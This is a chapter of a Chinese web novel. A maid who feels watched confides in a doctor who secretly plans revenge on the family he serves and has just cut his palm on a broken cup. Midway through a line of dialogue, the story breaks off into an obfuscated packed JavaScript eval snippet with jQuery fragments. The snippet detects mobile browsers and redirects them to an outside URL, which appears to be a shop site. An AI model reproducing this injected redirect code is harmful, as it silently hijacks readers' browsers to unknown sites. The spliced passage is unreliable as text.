邹觅诺离开的时候,一个人也没有告知,她独自离开,邹家也没有一个人去送她。
只是,在她离开的那一天,姜亿在阳台上看到了宋清岚,她孤寂注视着没有小女儿空荡荡的庄园,不知看了多久。
姜亿想,她也该离开了。姜家已经没人,她也可以回家了。
而且,她最近总觉得有人在偷窥她。
比如说,下午她和宋微晞一块吃下午茶,她饼干咬了一口,觉得肚子不舒服,上个厕所回来后饼干就消失了,可桌子上的其他茶点还在。
再比如说,她在花园里看花,被偷窥的感觉再次涌现,她立马回头去追,速度堪比参加国际田径比赛,心态好似侦探抓凶手、警察追小偷,当她一把抓住一个人时,却发现那个人是在吃布丁的邹觅夜。
“二少爷,你刚刚在偷看我吗?”姜亿的眼神锐利似箭。
邹觅夜舔了舔嘴唇上沾到的布丁,一脸无辜,“我偷看你干什么?我要是想看美人,我自己照镜子就行。”
姜亿当时觉得邹觅夜说得很有道理,他确实没必要偷窥她,于是她只当自己抓错了人。
第二天她发现她昨天看的花被人摘了。
于是姜亿彻底崩溃了,她拽着自己的头发,眼泪汪汪地跑到书房和邹旭知说自己要回家。
邹旭知放下手里的工作,问道:“怎么突然要回去?”
“反正二小姐出国了,我也没理由待在这里了。”
邹旭知眉头皱得能夹死一个苍蝇,“谁和你说什么了?”
“没有。”姜亿不安抱紧自己,“我感觉有人在偷窥我。”
“偷窥你?”邹旭知打了个电话,把李维又召唤到庄园里。
姜亿只能把自己几次被窥视的感觉告诉李维,李维神色严肃起来,对邹旭知说道:“小邹总,上次您让我调查的监控都查过了,那几个监控的接收信号都在庄园的监控室里,没有找到其他线索。”
“是吗?那都拆了吧,对方能神不知鬼不觉地在庄园装监控,应该也不会那么容易被我们查到线索。”邹旭知指尖轻扣桌面。
“啥意思?”姜亿不懂他们在说什么,“那我能回去了吗?这些日子多谢照顾。”
邹旭知劝道:“回家干什么,你家一家子都不在向阳市,回去一个人都没有。不用担心,这几日我就给你查清楚。”
就是没人姜亿才回去。
“可是我……”她还是想溜。
邹旭知继续哄道:“我知道,小诺的事给你冲击太大。你出去散散心,想买什么我给你报销。”
“呃……”
姜亿最终还是败在金钱之下。
她想,难道她最近真的压力太大了?
…………
阳闻烬的房间内。
“那天邹旭知是想调查庄园的安保情况?查到什么了吗?多了很多不在计划内的监控。好的,我知道了。邹觅诺的事情我知道,不用复述一遍,我也在现场,他们没注意我罢了,他们一家子都是这样恶心。”
阳闻烬听着电话,轻抚着陶瓷花杯的边缘,脸色阴暗如鬼。
“你问我打算什么时候开始?不急,还没到时候,打蛇要打七寸,等我掌握到足够的弱点,就是他们灭亡之时。”
“千万不能急,我可以等一年、两年甚至十年,我只要看到他们痛苦。”
阳闻烬嘴角勾起冰凉的弧度,他挂断电话,起身走到镜子前,他摘下了金丝眼镜,凌厉的眼尾上扬,仇恨在他布满血丝的眼睛中流淌。
他不会急的,他要蛰伏在邹家,在他们最脆弱时咬住邹家的咽喉,将毒液注入,看着他们在痛苦中奄奄一息。
阳闻烬拿出手机,打开隐藏相册里的一张照片,那是邹家六人的全家福,他在一个新闻网页上下载下来的,每一个人的脖子上都被他划了一道红线。
这张照片时刻警醒着他,他所有的痛苦和不幸都是这一家子造成的!
他拂过桌上的陶瓷花杯,杯子摔在地上,发出清脆声响,他蹲下身子,捡起其中一块陶瓷碎片,将碎片用力握在掌心。
鲜红的血液很快浸染了碎片,疼痛从掌心袭来。
只有痛苦,他才能牢记。
“扣扣扣。”
门外传来规律的敲门声。
阳闻烬从仇恨中清醒,他看了一眼屋内遍布的陶瓷碎片和掌心的血液,慌乱戴上眼镜,退出手机里隐藏的照片。
“扣扣扣。”
敲门声还是在响。
这个时间点,应该不会有人敲他的门,会是谁?
他快速用衣服把陶瓷碎片包起来,扔到房间的角落里,又擦了擦手,才打开了房门。
门外站的是姜亿,她的手正悬在空中,准备敲第三下门。
“阳医生,你没事吧,万画姐说看到你进屋了,我一直敲门没人应,还以为你出什么事了呢?”姜亿差点以为阳闻烬死在房间里了。
她还打算从他这当切入点,看看自己身上一堆奇怪毛病怎么解决呢。
阳闻烬温和笑笑,“没事,怎么了?”
“呃。”姜亿扭捏了一下,“之前大小姐相亲时,我说想找你聊聊我自己的事,不知道你现在方便吗?”
“当然可以,我听说二小姐去国外读书,你在邹家还好吗?”阳闻烬侧身示意姜亿进入他的房间,面上看不出一点为难。
实际上,他的掌心现在还在流血,陶瓷花杯的残骸裹在衣服里被他扔到了角落,他现在应该拒绝姜亿。
但姜亿总是躲着他,难得主动来和他谈心,他不想拒绝,他想从她那里知道一些事情,姜亿很敏锐,错过这次不一定会有下次。
姜亿走进阳闻烬的屋内,其实邹家的客房布局都差不多,但他的房间就是比姜亿整洁,没有团得乱七八糟的被子,也没有到处摆放的小玩意儿,更不会只要人在屋子里,电视一定在放着各种类型的电视剧。
“最近不太好。”姜亿苦着脸,“我最近总觉得有人在偷看我,阳医生,你说我是不是得了妄想症啊。”
苍天啊,一个身体不受控给人擦眼泪的毛病还不够,再来个疑神疑鬼的毛病,她的日子该怎么过啊!
“嗯?具体说说呢。”阳闻烬语气平缓,在他的问询下,姜亿说出了最近遇到的奇怪事情。
她把和邹旭知、邹觅诺见面时感知到有人偷窥的情况都说了出来,还有她饼干不见、赏的花没了踪影的事情也告诉了阳闻烬。
姜亿挠着头发,“我第二天去看的时候,那朵荷花真的被人摘了,根茎有很明显被人采摘的痕迹,可庄园里这么多人,有其他人恰巧采到那朵花也不是没有可能……”
她越说,越觉得自己命惨。
“不用担心,大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534387|202308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少爷不是答应帮你查了吗,先不用怀疑自己,等结果出来再做下一步判断。”阳闻烬好声安慰。
“谢谢你,阳医生。”姜亿感激道,她刚想再说什么,忽然动了动鼻子。
她闻到一股极淡血腥味。
姜亿疑惑,难道是她生理期到了?可日子不对啊。
她注意到,阳闻烬和她说话时,左手似乎一直藏在衣服口袋里,优雅注重礼仪的阳闻烬不可能会做出这样的动作。
姜亿没打算揭穿这件事,只是阳闻烬喜爱白衣,再加上夏天他穿的外套都是薄款,点点红斑从白色外套渗出。
别看。姜亿深呼一口气,强迫自己不看阳闻烬外套口袋渗出的血液。
阳闻烬不知道姜亿已经发现了他在流血的事情,仍温和说道:“等调查结果出来,你再来找我,如果调查确实没问题,被偷窥是你幻想出来的话,也不用担心,这也许只是暂时的。”
“嗯嗯,那阳医生我们下次再聊。”姜亿此时百爪挠心,恨不得现在就把阳闻烬的手拿出来,给他止了血。
姜亿脚趾都在用力,用尽全身的力气往门外走去。
“好的,这段时间不用想太多。”阳闻烬起身送她,在起身的那一瞬间,一滴鲜血顺着他的手腕流到了袖子上。
姜亿心快速颤抖,再难控制,她呼吸沉重了几分。“阳医生,你好像在流血。”
阳闻烬怔住,他低头一看,发觉白色外套上已经沾染了血迹,他假装不知,音色暗哑了几分,“什么时候?啊,估计是刚刚不小心收拾碎掉的杯子导致的,没关系,不用担心,我包一下就好。”
这个出血量,只是不小心造成的?
之前姜亿见到万画和邹觅诺流血,都只是一点点血液,用纸巾按住就止住了,阳闻烬这个流血情况明显严重多了,所以姜亿更难克制自己。
等姜亿反应过来时,她已经扒开阳闻烬的掌心在查看伤口了。
她这个破毛病哦!看到认识的人流血她就会这样,自己和陌生人则不会。
阳闻烬的掌心一片血肉模糊,根本不是不小心划伤。他猛地抽回手掌,看着惊讶的姜亿,声音冷了几分:“我没事,姜亿,你先回去吧。”
姜亿也很想走,真的很想走,但有时候,人在江湖,生不由己。
“阳医生,你等我下。”
邹家客房都有急救医疗包,里面有一些纱布、碘伏之类的东西,一般放在房门旁的柜子里,姜亿找到医疗包,放到阳闻烬面前。
“阳医生,你先处理一下。”她催促道。
但阳闻烬没有反应,鲜血从他指缝渗下。
姜亿只能认命拿出镊子、棉球、碘伏和纱布,她打开阳闻烬的手掌,掌心甚至有几块细小的瓷片,她拿出镊子把瓷片夹走。
阳闻烬刚刚就是这种状态和她聊天的吗?
可恶,她的人设不是阳光小天使啊!
等姜亿给阳闻烬包扎好,他才回过神来。姜亿什么也没问,只叮嘱了他两句注意伤口就离开了。
那一刻,阳闻烬在想,姜亿一定会怀疑,他要怎么做?
他的脑海闪过很多,最终看着姜亿给他认真处理伤口的模样,什么也没做。
他轻轻抚向被包扎好的伤口,突然想起邹觅诺在会客间怒吼的那句话。
“我什么都没有,只有姜亿能陪我!”